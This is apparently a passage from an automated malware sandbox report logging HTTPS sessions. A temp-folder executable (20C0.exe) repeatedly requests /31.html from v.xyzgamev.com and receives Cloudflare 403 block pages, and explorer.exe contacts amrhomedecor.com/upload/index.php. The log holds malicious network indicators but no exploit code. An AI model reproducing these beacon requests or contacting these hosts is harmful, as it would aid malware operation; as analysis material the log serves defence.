2022-08-31 12:29:10 UTC	4840	IN	Data Raw: 2d 63 73 73 22 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 63 73 73 22 20 2f 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 39 5d 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d 27 63 66 5f 73 74 79 6c 65 73 2d 69 65 2d 63 73 73 27 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 Data Ascii: -css" href="/cdn-cgi/styles/cf.errors.css" />...[if lt IE 9]><link rel="stylesheet" id='cf_styles-ie-css' href="/cdn-cgi/styles/cf.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator
2022-08-31 12:29:10 UTC	4842	IN	Data Raw: 6c 61 73 73 3d 22 63 66 2d 63 6f 6c 75 6d 6e 73 20 74 77 6f 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 63 6f 6c 75 6d 6e 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 32 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 62 6c 6f 63 6b 65 64 5f 77 68 79 5f 68 65 61 64 6c 69 6e 65 22 3e 57 68 79 20 68 61 76 65 20 49 20 62 65 65 6e 20 62 6c 6f 63 6b 65 64 3f 3c 2f 68 32 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 62 6c 6f 63 6b 65 64 5f 77 68 79 5f 64 65 74 61 69 6c 22 3e 54 68 69 73 20 77 65 62 73 69 74 65 20 69 73 20 75 73 69 6e 67 20 61 20 73 65 63 75 72 69 74 79 20 73 65 72 76 69 63 65 20 74 6f 20 70 72 6f 74 65 63 74 20 69 74 73 65 6c 66 20 66 72 6f Data Ascii: lass="cf-columns two"> <div class="cf-column"> <h2 data-translate="blocked_why_headline">Why have I been blocked?</h2> <p data-translate="blocked_why_detail">This website is using a security service to protect itself fro
2022-08-31 12:29:10 UTC	4843	IN	Data Raw: 6e 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 0a 20 20 20 20 20 20 59 6f 75 72 20 49 50 3a 0a 20 20 20 20 20 20 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 22 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 2d 62 74 6e 22 3e 43 6c 69 63 6b 20 74 6f 20 72 65 76 65 61 6c 3c 2f 62 75 74 74 6f 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 68 69 64 64 65 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 22 3e 31 30 32 2e 31 32 39 2e 31 34 33 2e 35 37 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a Data Ascii: n sm:block sm:mb-1"> Your IP: <button type="button" id="cf-footer-ip-reveal" class="cf-footer-ip-reveal-btn">Click to reveal</button> <span class="hidden" id="cf-footer-ip">102.129.143.57</span> <span class="cf-footer-separator sm:
2022-08-31 12:29:10 UTC	4844	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
29	192.168.2.4	49772	172.67.188.70	443	C:\Users\user\AppData\Local\Temp\20C0.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-31 12:29:12 UTC	4844	OUT	GET /31.html HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: v.xyzgamev.com
2022-08-31 12:29:12 UTC	4844	IN	HTTP/1.1 403 Forbidden Date: Wed, 31 Aug 2022 12:29:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Wed, 31 Aug 2022 12:29:27 GMT X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Gewo5R6IUAWyo0fGJUYbzcyHcM4b5sNxV4W%2FmWdg9aYXc2qC4jWYV5kYOR77K2tUheaiPw1B0H4xPNMOHLQyRmwtqusq%2FcLBmegf2kUA0GJYP8L2yHbENa2VVbYnHsPINg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7435c53ac8a176c0-LHR alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2022-08-31 12:29:12 UTC	4845	IN	Data Raw: 31 31 61 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 11a4<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2022-08-31 12:29:12 UTC	4846	IN	Data Raw: 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 63 73 73 22 20 2f 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 39 5d 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d 27 63 66 5f 73 74 79 6c 65 73 2d 69 65 2d 63 73 73 27 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 6f 6f 6b 69 65 45 6e 61 Data Ascii: ="/cdn-cgi/styles/cf.errors.css" />...[if lt IE 9]><link rel="stylesheet" id='cf_styles-ie-css' href="/cdn-cgi/styles/cf.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.cookieEna
2022-08-31 12:29:12 UTC	4847	IN	Data Raw: 6f 6c 75 6d 6e 73 20 74 77 6f 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 63 6f 6c 75 6d 6e 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 32 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 62 6c 6f 63 6b 65 64 5f 77 68 79 5f 68 65 61 64 6c 69 6e 65 22 3e 57 68 79 20 68 61 76 65 20 49 20 62 65 65 6e 20 62 6c 6f 63 6b 65 64 3f 3c 2f 68 32 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 62 6c 6f 63 6b 65 64 5f 77 68 79 5f 64 65 74 61 69 6c 22 3e 54 68 69 73 20 77 65 62 73 69 74 65 20 69 73 20 75 73 69 6e 67 20 61 20 73 65 63 75 72 69 74 79 20 73 65 72 76 69 63 65 20 74 6f 20 70 72 6f 74 65 63 74 20 69 74 73 65 6c 66 20 66 72 6f 6d 20 6f 6e 6c 69 6e 65 20 61 Data Ascii: olumns two"> <div class="cf-column"> <h2 data-translate="blocked_why_headline">Why have I been blocked?</h2> <p data-translate="blocked_why_detail">This website is using a security service to protect itself from online a
2022-08-31 12:29:12 UTC	4848	IN	Data Raw: 20 73 6d 3a 6d 62 2d 31 22 3e 0a 20 20 20 20 20 20 59 6f 75 72 20 49 50 3a 0a 20 20 20 20 20 20 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 22 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 2d 62 74 6e 22 3e 43 6c 69 63 6b 20 74 6f 20 72 65 76 65 61 6c 3c 2f 62 75 74 74 6f 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 68 69 64 64 65 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 22 3e 31 30 32 2e 31 32 39 2e 31 34 33 2e 35 37 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e 26 62 Data Ascii: sm:mb-1"> Your IP: <button type="button" id="cf-footer-ip-reveal" class="cf-footer-ip-reveal-btn">Click to reveal</button> <span class="hidden" id="cf-footer-ip">102.129.143.57</span> <span class="cf-footer-separator sm:hidden">&b
2022-08-31 12:29:12 UTC	4849	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.4	49738	206.221.182.74	443	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-31 12:28:51 UTC	186	OUT	GET /upload/index.php HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: amrhomedecor.com
2022-08-31 12:28:52 UTC	187	IN	HTTP/1.1 301 Moved Permanently Connection: close Content-Type: text/html Content-Length: 707 Date: Wed, 31 Aug 2022 12:28:51 GMT Server: LiteSpeed Location: https://www.amrhomedecor.com/upload/index.php Alt-Svc: quic=":443"; ma=2592000; v="43,46", h3-Q043=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-25=":443"; ma=2592000, h3-27=":443"; ma=2592000
2022-08-31 12:28:52 UTC	187	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helv

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
30	192.168.2.4	49773	104.21.40.196	443	C:\Users\user\AppData\Local\Temp\20C0.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-31 12:29:12 UTC	4849	OUT	GET /31.html HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: v.xyzgamev.com
2022-08-31 12:29:12 UTC	4850	IN	HTTP/1.1 403 Forbidden Date: Wed, 31 Aug 2022 12:29:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Wed, 31 Aug 2022 12:29:27 GMT X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=ujXyiLMlGQ3ZSuz1ftMi1NVczb2F1eN50EGM%2B2WDoei91Fz9x2Ld%2FnL2YhwugTjpQmt5%2FYMuzC9%2BW%2B6ivIpHHAGTN%2FoAV7i9Ia2gJhdvGAZvoUhOnFKX1aeVQRDLxoeJQQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7435c53c0c5890dc-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2022-08-31 12:29:12 UTC	4850	IN	Data Raw: 31 31 61 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 11a4<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2022-08-31 12:29:12 UTC	4851	IN	Data Raw: 73 73 22 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 63 73 73 22 20 2f 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 39 5d 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d 27 63 66 5f 73 74 79 6c 65 73 2d 69 65 2d 63 73 73 27 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 Data Ascii: ss" href="/cdn-cgi/styles/cf.errors.css" />...[if lt IE 9]><link rel="stylesheet" id='cf_styles-ie-css' href="/cdn-cgi/styles/cf.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.c
2022-08-31 12:29:12 UTC	4852	IN	Data Raw: 73 73 3d 22 63 66 2d 63 6f 6c 75 6d 6e 73 20 74 77 6f 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 63 6f 6c 75 6d 6e 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 32 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 62 6c 6f 63 6b 65 64 5f 77 68 79 5f 68 65 61 64 6c 69 6e 65 22 3e 57 68 79 20 68 61 76 65 20 49 20 62 65 65 6e 20 62 6c 6f 63 6b 65 64 3f 3c 2f 68 32 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 62 6c 6f 63 6b 65 64 5f 77 68 79 5f 64 65 74 61 69 6c 22 3e 54 68 69 73 20 77 65 62 73 69 74 65 20 69 73 20 75 73 69 6e 67 20 61 20 73 65 63 75 72 69 74 79 20 73 65 72 76 69 63 65 20 74 6f 20 70 72 6f 74 65 63 74 20 69 74 73 65 6c 66 20 66 72 6f 6d 20 Data Ascii: ss="cf-columns two"> <div class="cf-column"> <h2 data-translate="blocked_why_headline">Why have I been blocked?</h2> <p data-translate="blocked_why_detail">This website is using a security service to protect itself from
2022-08-31 12:29:12 UTC	4854	IN	Data Raw: 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 0a 20 20 20 20 20 20 59 6f 75 72 20 49 50 3a 0a 20 20 20 20 20 20 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 22 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 2d 62 74 6e 22 3e 43 6c 69 63 6b 20 74 6f 20 72 65 76 65 61 6c 3c 2f 62 75 74 74 6f 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 68 69 64 64 65 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 22 3e 31 30 32 2e 31 32 39 2e 31 34 33 2e 35 37 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 Data Ascii: sm:block sm:mb-1"> Your IP: <button type="button" id="cf-footer-ip-reveal" class="cf-footer-ip-reveal-btn">Click to reveal</button> <span class="hidden" id="cf-footer-ip">102.129.143.57</span> <span class="cf-footer-separator sm:hi
2022-08-31 12:29:12 UTC	4855	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
31	192.168.2.4	49774	104.21.40.196	443	C:\Users\user\AppData\Local\Temp\20C0.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-31 12:29:13 UTC	4855	OUT	GET /31.html HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: v.xyzgamev.com
2022-08-31 12:29:13 UTC	4855	IN	HTTP/1.1 403 Forbidden Date: Wed, 31 Aug 2022 12:29:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Wed, 31 Aug 2022 12:29:28 GMT X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Qgeo%2Bm3rRP59r2xdUuwOsHdtDPx1Yh4EP%2BKXKLJLP%2BwDkkiwo8dRLwQ%2Fn5HBn1yucD7yGMNfcR3S060XvKua2dpoCGXljS34K4Bh17iTAKHgA3c4%2FQ5TZlQJD1mlA19vPQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7435c53d8dc4911f-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2022-08-31 12:29:13 UTC	4855	IN	Data Raw: 31 31 61 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 11a4<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2022-08-31 12:29:13 UTC	4856	IN	Data Raw: 22 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 63 73 73 22 20 2f 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 39 5d 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d 27 63 66 5f 73 74 79 6c 65 73 2d 69 65 2d 63 73 73 27 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 6f 6f Data Ascii: " href="/cdn-cgi/styles/cf.errors.css" />...[if lt IE 9]><link rel="stylesheet" id='cf_styles-ie-css' href="/cdn-cgi/styles/cf.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.coo
2022-08-31 12:29:13 UTC	4857	IN	Data Raw: 3d 22 63 66 2d 63 6f 6c 75 6d 6e 73 20 74 77 6f 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 63 6f 6c 75 6d 6e 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 32 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 62 6c 6f 63 6b 65 64 5f 77 68 79 5f 68 65 61 64 6c 69 6e 65 22 3e 57 68 79 20 68 61 76 65 20 49 20 62 65 65 6e 20 62 6c 6f 63 6b 65 64 3f 3c 2f 68 32 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 62 6c 6f 63 6b 65 64 5f 77 68 79 5f 64 65 74 61 69 6c 22 3e 54 68 69 73 20 77 65 62 73 69 74 65 20 69 73 20 75 73 69 6e 67 20 61 20 73 65 63 75 72 69 74 79 20 73 65 72 76 69 63 65 20 74 6f 20 70 72 6f 74 65 63 74 20 69 74 73 65 6c 66 20 66 72 6f 6d 20 6f 6e Data Ascii: ="cf-columns two"> <div class="cf-column"> <h2 data-translate="blocked_why_headline">Why have I been blocked?</h2> <p data-translate="blocked_why_detail">This website is using a security service to protect itself from on
2022-08-31 12:29:13 UTC	4859	IN	Data Raw: 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 0a 20 20 20 20 20 20 59 6f 75 72 20 49 50 3a 0a 20 20 20 20 20 20 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 22 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 2d 62 74 6e 22 3e 43 6c 69 63 6b 20 74 6f 20 72 65 76 65 61 6c 3c 2f 62 75 74 74 6f 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 68 69 64 64 65 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 22 3e 31 30 32 2e 31 32 39 2e 31 34 33 2e 35 37 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 Data Ascii: :block sm:mb-1"> Your IP: <button type="button" id="cf-footer-ip-reveal" class="cf-footer-ip-reveal-btn">Click to reveal</button> <span class="hidden" id="cf-footer-ip">102.129.143.57</span> <span class="cf-footer-separator sm:hidd
2022-08-31 12:29:13 UTC	4860	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
32	192.168.2.4	49775	172.67.188.70	443	C:\Users\user\AppData\Local\Temp\20C0.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-31 12:29:13 UTC	4860	OUT	GET /31.html HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: v.xyzgamev.com
